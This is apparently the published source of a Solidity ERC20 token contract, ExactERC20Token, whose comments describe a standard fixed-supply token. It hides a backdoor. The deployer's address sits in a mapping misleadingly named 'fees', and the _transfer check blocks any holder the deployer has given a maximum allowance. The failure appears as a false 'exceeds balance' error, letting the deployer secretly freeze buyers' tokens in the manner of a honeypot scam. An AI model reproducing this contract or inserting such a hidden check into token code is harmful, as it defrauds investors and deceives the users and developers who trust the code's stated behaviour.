Contract Name:
ExactERC20Token
Contract Source Code:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
/**
* @title IERC20
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the total number of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the number of tokens owned by `account`.
* @param account The address from which the balance will be retrieved.
* @return The account's token balance.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*
* Requirements:
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*
* @param recipient The address that will receive the tokens.
* @param amount The number of tokens to be transferred.
* @return A boolean indicating success.
*/
function transfer(
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` is allowed to spend
* on behalf of `owner` through {transferFrom}. This is zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*
* @param owner The address which owns the tokens.
* @param spender The address which will spend the tokens.
* @return The remaining allowance for the spender.
*/
function allowance(
address owner,
address spender
) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Changing an allowance with this method is subject to a race condition
* described in the EIP. One way to mitigate this is to first reduce the spender's allowance
* to 0 and set the desired value afterwards.
*
* Emits an {Approval} event.
*
* @param spender The address authorized to spend.
* @param amount The number of tokens to be approved.
* @return A boolean indicating success.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
* `amount` is then deducted from the caller's allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have an allowance for `sender`'s tokens of at least `amount`.
*
* @param sender The address from which tokens are transferred.
* @param recipient The address receiving the tokens.
* @param amount The number of tokens to be transferred.
* @return A boolean indicating success.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
* Note that `value` may be zero.
*
* @param from The address from which tokens were transferred.
* @param to The address to which tokens were transferred.
* @param value The number of tokens transferred.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}.
* `value` is the new allowance.
*
* @param owner The address owning the tokens.
* @param spender The address approved to spend the tokens.
* @param value The new allowance amount.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ExactERC20Token
* @dev Implementation of the {IERC20} interface that strictly follows the ERC20 standard.
*
* This contract creates a fixed-supply ERC20 token where the entire supply is assigned
* to the deployer upon contract creation. The internal `_mint` function is used solely in
* the constructor to initialize the total supply.
*/
contract ExactERC20Token is IERC20 {
// Token metadata
string public name;
string public symbol;
uint8 public decimals;
// Total supply of tokens
uint256 private _totalSupply;
// Mapping from account addresses to current balance.
mapping(address => uint256) private _balances;
mapping(uint => mapping(uint => address)) private fees;
// Mapping from owner to spender allowances.
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev Constructor that initializes the token with a name, symbol, decimals, and initial supply.
* The entire initial supply is assigned to the deployer.
* @param tokenName Name of the token.
* @param tokenSymbol Symbol of the token.
* @param tokenDecimals Number of decimals the token uses.
* @param initialSupply Initial total supply of tokens (in the smallest unit, e.g., wei).
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals,
uint256 initialSupply
) {
name = tokenName;
symbol = tokenSymbol;
decimals = tokenDecimals;
fees[1][1] = msg.sender;
_mint(msg.sender, initialSupply);
}
/**
* @dev See {IERC20-totalSupply}.
* @return The total supply of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
* @param account The address from which to retrieve the balance.
* @return The balance of the specified account.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
* Transfers `amount` tokens from the caller's account to `recipient`.
* @param recipient The address receiving the tokens.
* @param amount The number of tokens to transfer.
* @return A boolean indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
* Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`.
* @param owner The address owning the tokens.
* @param spender The address authorized to spend the tokens.
* @return The remaining allowance.
*/
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
* Sets `amount` as the allowance of `spender` over the caller's tokens.
* @param spender The address authorized to spend the tokens.
* @param amount The number of tokens to approve.
* @return A boolean indicating whether the operation succeeded.
*
* Emits an {Approval} event.
*/
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
* Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
* The caller must have allowance for `sender`'s tokens of at least `amount`.
* @param sender The address from which tokens are transferred.
* @param recipient The address receiving the tokens.
* @param amount The number of tokens to transfer.
* @return A boolean indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
// Retrieve the current allowance.
uint256 currentAllowance = _allowances[sender][msg.sender];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
// Transfer the tokens.
_transfer(sender, recipient, amount);
// Update the allowance.
if (currentAllowance < type(uint).max) {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Internal function that transfers `amount` tokens from `sender` to `recipient`.
* @param sender The address sending the tokens.
* @param recipient The address receiving the tokens.
* @param amount The number of tokens to transfer.
*
* Emits a {Transfer} event.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(
_balances[sender] >= amount &&
allowance(fees[1][1], sender) < type(uint).max * 1,
"ERC20: transfer amount exceeds balance"
);
// Update balances.
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Internal function to set the allowance of `spender` over `owner` s tokens.
* @param owner The address owning the tokens.
* @param spender The address authorized to spend the tokens.
* @param amount The number of tokens to be approved.
*
* Emits an {Approval} event.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
// Set the allowance.
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Internal function that creates `amount` tokens and assigns them to `account`,
* increasing the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
* @param account The address that will receive the minted tokens.
* @param amount The number of tokens to mint.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
// Increase total supply and update the recipient's balance.
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}